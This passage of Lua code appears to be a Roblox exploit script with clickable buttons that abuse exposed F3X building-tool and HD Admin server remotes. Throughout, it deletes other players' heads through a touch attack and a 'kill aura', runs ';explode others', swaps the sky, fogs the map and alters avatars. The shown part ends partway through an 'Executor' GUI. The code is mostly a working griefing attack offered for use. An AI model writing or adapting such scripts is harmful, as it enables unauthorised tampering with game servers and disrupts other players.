		end
	
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
	
		local Players = game:GetService("Players")
	
		local UserInputService = game:GetService("UserInputService")
	
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	
		--kill thingy
		function thekille(target)
			if target and target.Character then
				for i,v in target.Character:GetDescendants() do
					if v:IsA("BasePart") then
						RequestCommand:InvokeServer(";paint "..target.Name.." black")
						spawn(function()
							Color(v,blak)
						end)
						spawn(function()
							SetTrans(v,0.1)
						end)
						wait(0.5)
						spawn(function()
							SetTrans(v,0.2)
						end)
						wait(0.5)
						spawn(function()
							SetTrans(v,0.3)
						end)
						wait(0.5)
						spawn(function()
							SetTrans(v,0.4)
						end)
						wait(0.5)
						spawn(function()
							SetTrans(v,0.5)
						end)
						wait(0.5)
						spawn(function()
							SetTrans(v,0.6)
						end)
						wait(0.5)
						spawn(function()
							SetTrans(v,0.7)
						end)
						wait(0.5)
						spawn(function()
							SetTrans(v,0.8)
						end)
						wait(0.5)
						spawn(function()
							SetTrans(v,0.9)
						end)
						wait(0.5)
						spawn(function()
							SetTrans(v,1)
						end)
						wait(3)
						spawn(function()
							DestroyPart(v)
						end)
					end
				end
			end
		end
		wait(0.1)
	
		local kill = Instance.new("Sound",char)
		kill.SoundId = "rbxassetid://28144425"
		kill.Pitch = 0.6
		kill.Volume = 3
	
		local at = kill:Clone()
		at.SoundId="rbxassetid://82500396906354"
		at.Parent = char
		at.Volume = 0.5
	
		local player = Players.LocalPlayer
		local character = char
	
	
		RequestCommand:InvokeServer(";titlebk me ᴊᴏʜɴ ᴅᴏᴇ")
		RequestCommand:InvokeServer(";removeaccessories")
		wait(1.5)
		RequestCommand:InvokeServer(";hat me 18196403126")
		wait(0.6)
		RequestCommand:InvokeServer(";shirt me 100276101149100")
		wait(0.9)
		RequestCommand:InvokeServer(";pants me 109662040845019")
		wait(0.5)
		RequestCommand:InvokeServer(";head me 0")
		wait(0.7)
		RequestCommand:InvokeServer(";face me 144075659")
		wait(0.3)
		local eye = char:FindFirstChild("Accessory (JohnEye)").Handle
		local arm = char:FindFirstChild("Right Arm")
		local tor = char:FindFirstChild("Torso")
		local ar2 = char:FindFirstChild("Left Arm")
	
		local RLeg = char:FindFirstChild("Right Leg")
		local head = char:FindFirstChild("Head")
		local LLeg = char:FindFirstChild("Left Leg")
		task.spawn(function()
			applyDecorationToPart(arm)
		end)
		task.spawn(function()
			applyDecorationToPart(ar2)
		end)
		task.spawn(function()
			eyePart(eye)
		end)
		RequestCommand:InvokeServer(";music 17717379222 ;pitch 0.2 ;volume inf")
		task.spawn(function()
			Color(arm, Color3.fromRGB(0,0,0))
		end)
		task.spawn(function()
			Color(ar2, Color3.fromRGB(252, 255, 150))
		end)
		task.spawn(function()
			Color(head, Color3.fromRGB(252, 255, 150))
		end)
		task.spawn(function()
			Color(tor, Color3.fromRGB(255, 255, 0))
		end)
		task.spawn(function()
			Color(RLeg, Color3.fromRGB(0, 200, 255))
		end)
		task.spawn(function()
			Color(LLeg, Color3.fromRGB(0, 200, 255))
		end)
		task.spawn(function()
			AddMesh(arm)
		end)
		task.spawn(function()
			SetMesh(arm,"94818190090394")
		end)
		task.spawn(function()
			MoveVector(arm,Vector3.new(0.37, -0.6, 0))
		end)
	
		local arm = character:FindFirstChild("Right Arm") 
		local humanoid = character:FindFirstChildOfClass("Humanoid")
	
		local isDead = false
		humanoid.Died:Connect(function()
			isDead = true
		end)
	
		local animator = humanoid:FindFirstChildOfClass("Animator")
	
		local attackAnim = Instance.new("Animation")
		attackAnim.AnimationId = "rbxassetid://186934658"
		local attackTrack = animator:LoadAnimation(attackAnim)
		function attack()
			attackTrack:Play() 
			local hitPlayer = nil
			local touchedConnection
	
			local function onTouch(other)
				local otherPlayer = Players:GetPlayerFromCharacter(other.Parent)
				if otherPlayer and otherPlayer ~= player then
					hitPlayer = otherPlayer
				end
			end
	
			touchedConnection = arm.Touched:Connect(onTouch)
			task.wait(0.5)
			if touchedConnection then
				touchedConnection:Disconnect()
			end
			if hitPlayer then
				d = at:Clone()
				d:Play()
				d.Parent = char
				spawn(function()
					wait(5)
					d:Destroy()
				end)
				task.spawn(DestroyPart,hitPlayer.Character.Head)
			else
				d = kill:Clone()
				d:Play()
				d.Parent = char
				wait(5)
				d:Destroy()
			end
		end
	
	
	
	
		UserInputService.TouchTap:Connect(function(input, gameProcessed)
			if gameProcessed then return end
	
			if isDead then return end 
			attack()
		end)
	
	
	
		local backpack = player.Backpack
	
		local function getf3x()
			for _, v in ipairs(backpack:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			for _, v in ipairs(char:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			return nil
		end
	
		local f3x = getf3x()
		if not f3x then
			warn("you dont have f3x skid")
		end
	
		local syncapi = f3x.SyncAPI
		local serverendpoint = syncapi.ServerEndpoint
		local function fire(part) 
	
			local argsCreate = {
				[1] = "CreateDecorations",
				[2] = {
					[1] = {
						["Part"] = part,
						["DecorationType"] = "Fire"
					}
				}
			}
	
	
			local argsSync = {
				[1] = "SyncDecorate",
				[2] = {
					[1] = {
						["Part"] = part,
						["DecorationType"] = "Fire",
						["Size"] = 10,
						["Heat"] = 0,
						["Color"] = Color3.fromRGB(255, 0, 0), 
						["SecondaryColor"] = Color3.fromRGB(255, 0, 0) 
					} 
				} 
			}
	
	
			_(argsCreate)
			_(argsSync)
		end
		function delete(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part, cf)
			local args = {
				"SyncMove",
				{
					{
						Part = part,
						CFrame = cf
					}
				}
			}
			_(args)
		end
	
		local function resize(part, size, cf)
			local args = {
				"SyncResize",
				{
					{
						Part = part,
						CFrame = cf,
						Size = size
					}
				}
			}
			_(args)
		end
	
		local function syncmaterial(part, mate)
			local args = {
				"SyncMaterial",
				{
					{
						Part = part,
						Material = mate
					}
				}
			}
			_(args)
		end
	
		local function transparency(part, trans)
			local args = {
				"SyncMaterial",
				{
					{
						Part = part,
						Transparency = trans
					}
				}
			}
			_(args)
		end
	
		local function color(part, color)
			local args = {
				"SyncColor",
				{
					{
						Part = part,
						Color = color,
						UnionColoring = false
					}
				}
			}
			_(args)
		end
	
		local function syncmeshid(part, id)
			local args = {
				"SyncMesh",
				{
					{
						Part = part,
						MeshId = "rbxassetid://" .. id
					}
				}
			}
			_(args)
		end
		function destroy(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		local function makemesh(part)
			local args = {
				"CreateMeshes",
				{
					{
						Part = part
					}
				}
			}
			_(args)
		end
	
		local function syncmeshsize(part, vectora)
			local args = {
				"SyncMesh",
				{
					{
						Part = part,
						Scale = vectora
					}
				}
			}
			_(args)
		end
	
		local function syncmeshtexture(part, id)
			local args = {
				"SyncMesh",
				{
					{
						Part = part,
						TextureId = "rbxassetid://" .. id
					}
				}
			}
			_(args)
		end
	
		local function name(part, stringa)
			local args = {
				"SetName",
				{ part },
				stringa
			}
			_(args)
		end
	
		local function lock(part, boolean)
			local args = {
				"SetLocked",
				{ part },
				boolean
			}
			_(args)
		end
	
		local function setcollision(part, booleana)
			local args = {
				"SyncCollision",
				{
					{
						Part = part,
						CanCollide = booleana
					}
				}
			}
			_(args)
		end
	
		local function setanchor(part, boolean)
			local args = {
				"SyncAnchor",
				{
					{
						Part = part,
						Anchored = boolean
					}
				}
			}
			_(args)
		end
	
		local function createdecal(part, side)
			local args = {
				"CreateTextures",
				{
					{
						Part = part,
						Face = side,
						TextureType = "Decal"
					}
				}
			}
			_(args)
		end
	
		local function setdecal(part, asset, side)
			local args = {
				"SyncTexture",
				{
					{
						Part = part,
						Face = side,
						TextureType = "Decal",
						Texture = "rbxassetid://" .. asset
					}
				}
			}
			_(args)
		end
		task.spawn(function()
			while task.wait(0.02) do
				task.spawn(function()
					local hrp = char.HumanoidRootPart
					local pos = hrp.CFrame * CFrame.new(0, -3, 0)
					local trail = serverendpoint:InvokeServer("CreatePart", "Normal", CFrame.new(0,0,0), char)
					task.spawn(function()
						setcollision(trail, false)
					end)
					task.spawn(function()
						syncmaterial(trail, Enum.Material.Granite)
					end)
					task.spawn(function()
						color(trail, Color3.new(0, 0, 0))
					end)
					task.spawn(function()
						resize(trail, Vector3.new(10,0,10), pos)
					end)
					task.spawn(function()
						fire(trail)
					end)
					BurningEff(trail)
					task.wait(1)
					delete(trail)
				end)
			end
		end)
	
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local rq = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		local RunService = game:GetService("RunService")
		local rotatetypeshii = Vector3.new(0, 1, 0).Unit
		local skypartrotation = 0
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		--craaa
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
		function reflect(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Reflectance"] = int
					}
				}
			}
			_(args)
		end
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function MeshColor(part,color)
			local args = {
				"SyncMesh",
				{
					{
						Part = part,
						VertexColor = color 
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
	
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function Setmate(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Material"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
		function SpawnDecal(part,side)
			local args = {
				[1] = "CreateTextures",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal"
					}
				}
			}
	
			_(args)
		end
		function AddDecal(part,asset,side)
			local args = {
				[1] = "SyncTexture",
				[2] = {
					[1] = {
						["Part"] = part,
						["Face"] = side,
						["TextureType"] = "Decal",
						["Texture"] = "rbxassetid://".. asset
					}
				}
			}
			_(args)
		end
		function ClonePart(part,parent)
			local args = {
				[1] = "Clone",
				[2] = {
					[1] = part
				},
				[3] = parent
			}
	
			return remote:InvokeServer(unpack(args))
		end
		function Sky(id)
			local ReplicatedStorage = game:GetService("ReplicatedStorage")
			local RequestCommandSilent = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	
	
	
			local function findBuildingTools()
				local player = game:GetService("Players").LocalPlayer
	
				for _, item in ipairs(player.Character:GetChildren()) do
					if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then
						return item
					end
				end
	
				for _, item in ipairs(player.Backpack:GetChildren()) do
					if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then
						return item
					end
				end
	
				return nil
			end
	
			local buildingTools = findBuildingTools()
			if not buildingTools then
				warn("btools not found")
				return
			end
	
			local syncAPI        = buildingTools:FindFirstChild("SyncAPI")
			local serverEndpoint = syncAPI and syncAPI:FindFirstChild("ServerEndpoint")
	
			if not serverEndpoint then
				warn("btools not found")
				return
			end
	
			local skyInstance = workspace.Terrain:FindFirstChild("Sky") or workspace:FindFirstChild("Sky")
			if not skyInstance then
	
				print"ok"
			end
			spawn(function()
				DestroyPart(skyInstance)
			end)
			local success, result
			if serverEndpoint:IsA("RemoteFunction") then
				success, result = pcall(function()
					return serverEndpoint:InvokeServer(unpack(args))
				end)
			else
	
				serverEndpoint:FireServer(unpack(args))
				success = true
			end
	
			if success then
	
				print"yay"
	
			end
			e = char.HumanoidRootPart.CFrame.x
			f = char.HumanoidRootPart.CFrame.y
			g = char.HumanoidRootPart.CFrame.z
			mhm = CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,-5,0)
			v = remote:InvokeServer("CreatePart","Normal",mhm,char)
			task.spawn(function()
				SetName(v,"johnbeep")
			end)
			task.spawn(function()
				AddMesh(v)
			end)
			task.spawn(function()
				rq:InvokeServer(";time 0")
			end)
			task.spawn(function()
				Resize(v,Vector3.new(0,0,0),v.CFrame)
			end)
			task.spawn(function()
				SetMesh(v,"1527559")
			end)
			task.spawn(function()
				MeshColor(v,vector.create(2,0,0))
			end)
			task.spawn(function()
				SetTexture(v,id)
			end)
			task.spawn(function()
				MeshResize(v,Vector3.new(-3000,-1000,-3000))
			end)
			task.spawn(function()
				SetLocked(v,true)
			end)
	
			local rotationAngle = 5
			local rotationSpeed = math.rad(20)
			RunService.Heartbeat:Connect(function(deltaTime)
				rotationAngle = rotationAngle + rotationSpeed * deltaTime
				local rotation = CFrame.Angles(0, rotationAngle, 0)
				local cf = CFrame.new(v.Position) * rotation
	
				task.spawn(function()
					MovePart(v, cf)
				end)
			end)
	
		end
		Sky("1529455")
	
		while true do
			wait(0.1)
			if character:FindFirstChildOfClass("Humanoid").Health <= 0 then
				RequestCommand:InvokeServer(";titler me BAD CHOICE")
	
				ClonePart(character.Head,workspace.Terrain)
				wait(0.1)
				local bg = workspace.Terrain.Head
				task.spawn(function()
					DestroyPart(bg.face)
				end)
				task.spawn(function()
					SetTrans(bg,1)
				end)
				ClonePart(character.johnbeep,workspace.Terrain)
				spawn(function()
					MeshColor(workspace.Terrain.johnbeep,vector.create(0,0,0))
				end)
				task.spawn(function()
					MeshResize(workspace.Terrain.johnbeep,Vector3.new(-50000,-50000,-50000))
				end)
				RequestCommand:InvokeServer(";explode others")
				RequestCommand:InvokeServer(";music 17717379222")
				RequestCommand:InvokeServer(";volume 10")
				wait(4)
				RequestCommand:InvokeServer(";music 19094700")
				RequestCommand:InvokeServer(";pitch 0.5")
				RequestCommand:InvokeServer(";volume 3")
				wait(0.8)
				RequestCommand:InvokeServer(";fogcolor black")
				RequestCommand:InvokeServer(";fog 3000")
				break
			end
		end
	end)
end;
task.spawn(C_18);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_1a()
local script = G2L["1a"];
	local button = script.Parent
	
	button.MouseButton1Click:Connect(function()
		--[[
		WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
	]]
		local function Script_F3X_Goner()
			local player = game.Players.LocalPlayer
			local char = player.Character
			local mouse = player:GetMouse()
			local RunService = game:GetService("RunService")
	
			local tool
			for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end
			if not tool then
				for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end
			end
			if not tool then return end
	
			local remote = tool.SyncAPI.ServerEndpoint
			local function _(args) remote:InvokeServer(unpack(args)) end
	
			local active = true
			local isAttacking = false
			local slashProgress = 0
	
			local function CreateGPart(size, color)
				local p = remote:InvokeServer("CreatePart", "Normal", char.HumanoidRootPart.CFrame, workspace)
				_({"SyncResize", {{["Part"] = p, ["CFrame"] = char.HumanoidRootPart.CFrame, ["Size"] = size}}})
				_({"SyncColor", {{["Part"] = p, ["Color"] = color or Color3.new(0, 0, 0)}}})
				_({"SyncMaterial", {{["Part"] = p, ["Material"] = Enum.Material.Neon}}})
				_({"SyncCollision", {{["Part"] = p, ["CanCollide"] = false}}})
				return p
			end
	
			-- Тело
			local gTorso = CreateGPart(Vector3.new(2.2, 2.2, 1.2))
			local gHead = CreateGPart(Vector3.new(1, 1, 1)) 
			local gRArm = CreateGPart(Vector3.new(1.2, 2.2, 1.2))
			local gLArm = CreateGPart(Vector3.new(1.2, 2.2, 1.2))
			local gRLeg = CreateGPart(Vector3.new(1.2, 2.2, 1.2))
			local gLLeg = CreateGPart(Vector3.new(1.2, 2.2, 1.2))
			local gScythe = CreateGPart(Vector3.new(2, 5.925, 0.25))
	
			-- Глаза
			local eyeL = CreateGPart(Vector3.new(0.25, 0.25, 0.25), Color3.new(1, 0, 0))
			local eyeR = CreateGPart(Vector3.new(0.25, 0.25, 0.25), Color3.new(1, 0, 0))
	
			_({"CreateMeshes", {{["Part"] = eyeL}, {["Part"] = eyeR}, {["Part"] = gHead}, {["Part"] = gScythe}}})
			_({"SyncMesh", {
				{["Part"] = eyeL, ["MeshType"] = Enum.MeshType.Cylinder, ["Scale"] = Vector3.new(0.6, 0.6, 0.6)},
				{["Part"] = eyeR, ["MeshType"] = Enum.MeshType.Cylinder, ["Scale"] = Vector3.new(0.6, 0.6, 0.6)},
				{["Part"] = gHead, ["MeshType"] = Enum.MeshType.Head, ["Scale"] = Vector3.new(1.4, 1.4, 1.4)},
				{["Part"] = gScythe, ["MeshId"] = "rbxassetid://500489601", ["Scale"] = Vector3.new(0.01, 0.01, 0.01)}
			}})
	
			_({"CreateDecorations", {{["Part"] = gTorso, ["DecorationType"] = "Fire"}}})
			_({"SyncDecorate", {{["Part"] = gTorso, ["DecorationType"] = "Fire", ["Size"] = 10, ["Heat"] = 5, ["Color"] = Color3.new(0, 0, 0), ["SecondaryColor"] = Color3.new(0, 0, 0)}}})
	
			local tor = char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso")
			local rArm = char:FindFirstChild("Right Arm") or char:FindFirstChild("RightHand")
			local rShoulder = tor:FindFirstChild("Right Shoulder") or rArm:FindFirstChild("RightShoulder")
			local oldC0 = rShoulder.C0
	
			local connection
			connection = RunService.Heartbeat:Connect(function()
				if not active or not gTorso or not gTorso.Parent then 
					rShoulder.C0 = oldC0
					connection:Disconnect() 
					return 
				end
	
				local hitPos = mouse.Hit.p
				local jointPos = tor.CFrame:PointToWorldSpace(oldC0.p)
				local direction = (hitPos - jointPos).Unit
				local angle = math.asin(direction.Y)
	
				local slashAnim = CFrame.new()
				if isAttacking then
					slashProgress = slashProgress + 0.08
					local s = math.sin(slashProgress * math.pi)
					slashAnim = CFrame.Angles(math.rad(110 * s), math.rad(-80 * s), math.rad(25 * s))
					if slashProgress >= 1 then isAttacking = false slashProgress = 0 end
				end
	
				rShoulder.C0 = oldC0 * CFrame.Angles(0, 0, math.rad(90)) * CFrame.Angles(angle, 0, 0) * slashAnim
	
				local headCF = char.Head.CFrame
				local handCF = rArm.CFrame * CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(90), 0, 0)
				local scytheCF = handCF * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(90), math.rad(180), 0)
	
				task.spawn(function()
					_({"SyncMove", {
						{["Part"] = gTorso, ["CFrame"] = tor.CFrame},
						{["Part"] = gHead, ["CFrame"] = headCF * CFrame.new(0, 0.15, 0)},
						{["Part"] = gLArm, ["CFrame"] = char["Left Arm"].CFrame},
						{["Part"] = gRArm, ["CFrame"] = rArm.CFrame},
						{["Part"] = gRLeg, ["CFrame"] = char["Right Leg"].CFrame},
						{["Part"] = gLLeg, ["CFrame"] = char["Left Leg"].CFrame},
						{["Part"] = gScythe, ["CFrame"] = scytheCF},
						{["Part"] = eyeL, ["CFrame"] = headCF * CFrame.new(-0.28, 0.22, -0.62) * CFrame.Angles(0, math.rad(90), 0)},
						{["Part"] = eyeR, ["CFrame"] = headCF * CFrame.new(0.28, 0.22, -0.62) * CFrame.Angles(0, math.rad(90), 0)}
					}})
				end)
	
				-- КИЛЛ-АУРА (Радиус 3)
				local region = workspace:GetPartBoundsInRadius(scytheCF.Position, 3)
				for _, p in pairs(region) do
					local m = p.Parent
					if m:IsA("Model") and m:FindFirstChild("Humanoid") and m ~= char then
						local targetHead = m:FindFirstChild("Head")
						if targetHead then
							task.spawn(function()
								remote:InvokeServer("Remove", {targetHead})
							end)
						end
					end
				end
			end)
	
			mouse.Button1Down:Connect(function()
				if not isAttacking then isAttacking = true slashProgress = 0 end
			end)
		end
	
		Script_F3X_Goner()
	
	end)
end;
task.spawn(C_1a);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_1c()
local script = G2L["1c"];
	local button = script.Parent
	
	button.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
	
		RequestCommand:InvokeServer(";titley all WE SURRENDER")
	end)
end;
task.spawn(C_1c);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_1f()
local script = G2L["1f"];
	local button = script.Parent
	
	button.MouseButton1Click:Connect(function()
		-- Gui to Lua
		-- Version: 3.2
	
		-- Instances:
	
		local ScreenGui = Instance.new("ScreenGui")
		local Frame = Instance.new("Frame")
		local TextLabel = Instance.new("TextLabel")
		local TextButton = Instance.new("TextButton")
		local TextButton_2 = Instance.new("TextButton")
		local TextButton_3 = Instance.new("TextButton")
		local Frame_2 = Instance.new("Frame")
		local TextButton_4 = Instance.new("TextButton")
		local TextButton_5 = Instance.new("TextButton")
		local TextButton_6 = Instance.new("TextButton")
		local Frame_3 = Instance.new("Frame")
		local TextButton_7 = Instance.new("TextButton")
		local TextButton_8 = Instance.new("TextButton")
		local ScrollingFrame = Instance.new("ScrollingFrame")
		local TextBox = Instance.new("TextBox")
		local ImageLabel = Instance.new("ImageLabel")
	
		--Properties:
	
		ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
		ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
		ScreenGui.ResetOnSpawn = false
	
		Frame.Parent = ScreenGui
		Frame.BackgroundColor3 = Color3.fromRGB(197, 197, 197)
		Frame.BorderColor3 = Color3.fromRGB(0, 0, 0)
		Frame.BorderSizePixel = 0
		Frame.Position = UDim2.new(0.368421048, 0, 0.101221435, 0)
		Frame.Size = UDim2.new(0, 498, 0, 395)
	
		TextLabel.Parent = Frame
		TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextLabel.BorderColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel.BorderSizePixel = 0
		TextLabel.Size = UDim2.new(0, 399, 0, 24)
		TextLabel.Font = Enum.Font.SourceSans
		TextLabel.Text = "  dominant"
		TextLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel.TextSize = 14.000
		TextLabel.TextXAlignment = Enum.TextXAlignment.Left
	
		TextButton.Parent = Frame
		TextButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextButton.BorderColor3 = Color3.fromRGB(0, 0, 0)
		TextButton.BorderSizePixel = 0
		TextButton.Position = UDim2.new(0.92954433, 0, 0, 0)
		TextButton.Size = UDim2.new(0, 35, 0, 24)
		TextButton.Font = Enum.Font.SourceSans
		TextButton.Text = "X"
		TextButton.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextButton.TextScaled = true
		TextButton.TextSize = 14.000
		TextButton.TextWrapped = true
	
		TextButton_2.Parent = Frame
		TextButton_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextButton_2.BorderColor3 = Color3.fromRGB(182, 182, 182)
		TextButton_2.Position = UDim2.new(0.0124223698, 0, 0.0751006901, 0)
		TextButton_2.Size = UDim2.new(0, 77, 0, 23)
		TextButton_2.Font = Enum.Font.SourceSans
		TextButton_2.Text = "Executor"
		TextButton_2.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextButton_2.TextScaled = true
		TextButton_2.TextSize = 14.000
		TextButton_2.TextWrapped = true
	
		TextButton_3.Parent = Frame
		TextButton_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextButton_3.BorderColor3 = Color3.fromRGB(182, 182, 182)
		TextButton_3.Position = UDim2.new(0.18853049, 0, 0.0751006901, 0)
		TextButton_3.Size = UDim2.new(0, 77, 0, 23)
		TextButton_3.Font = Enum.Font.SourceSans
		TextButton_3.Text = "Soon"
		TextButton_3.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextButton_3.TextScaled = true
		TextButton_3.TextSize = 14.000
		TextButton_3.TextWrapped = true
	
		Frame_2.Parent = Frame
		Frame_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		Frame_2.BorderColor3 = Color3.fromRGB(182, 182, 182)
		Frame_2.Position = UDim2.new(0.770560503, 0, 0.15625, 0)
		Frame_2.Size = UDim2.new(0, 105, 0, 326)
	
		TextButton_4.Parent = Frame
		TextButton_4.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextButton_4.BorderColor3 = Color3.fromRGB(182, 182, 182)
		TextButton_4.Position = UDim2.new(0.0124223698, 0, 0.71900171, 0)
		TextButton_4.Size = UDim2.new(0, 132, 0, 30)
		TextButton_4.Font = Enum.Font.SourceSans
		TextButton_4.Text = "Execute"
		TextButton_4.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextButton_4.TextScaled = true
		TextButton_4.TextSize = 14.000
		TextButton_4.TextWrapped = true
	
		TextButton_5.Parent = Frame
		TextButton_5.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextButton_5.BorderColor3 = Color3.fromRGB(182, 182, 182)
		TextButton_5.Position = UDim2.new(0.0124223698, 0, 0.810140967, 0)
		TextButton_5.Size = UDim2.new(0, 132, 0, 30)
		TextButton_5.Font = Enum.Font.SourceSans
		TextButton_5.Text = "Clear"
		TextButton_5.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextButton_5.TextScaled = true
		TextButton_5.TextSize = 14.000
		TextButton_5.TextWrapped = true
	
		TextButton_6.Parent = Frame
		TextButton_6.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextButton_6.BorderColor3 = Color3.fromRGB(182, 182, 182)
		TextButton_6.Position = UDim2.new(0.0124223698, 0, 0.903811812, 0)
		TextButton_6.Size = UDim2.new(0, 132, 0, 30)
		TextButton_6.Font = Enum.Font.SourceSans
		TextButton_6.Text = "Nothing"
		TextButton_6.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextButton_6.TextScaled = true
		TextButton_6.TextSize = 14.000
		TextButton_6.TextWrapped = true
	
		Frame_3.Parent = Frame
		Frame_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		Frame_3.BorderColor3 = Color3.fromRGB(182, 182, 182)
		Frame_3.Position = UDim2.new(0.291164607, 0, 0.71900171, 0)
		Frame_3.Size = UDim2.new(0, 232, 0, 102)
	
		TextButton_7.Parent = Frame
		TextButton_7.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextButton_7.BorderColor3 = Color3.fromRGB(0, 0, 0)
		TextButton_7.BorderSizePixel = 0
		TextButton_7.Position = UDim2.new(0.859263241, 0, 0, 0)
		TextButton_7.Size = UDim2.new(0, 35, 0, 24)
		TextButton_7.Font = Enum.Font.SourceSans
		TextButton_7.Text = "[]"
		TextButton_7.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextButton_7.TextScaled = true
		TextButton_7.TextSize = 14.000
		TextButton_7.TextWrapped = true
	
		TextButton_8.Parent = Frame
		TextButton_8.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TextButton_8.BorderColor3 = Color3.fromRGB(0, 0, 0)
		TextButton_8.BorderSizePixel = 0
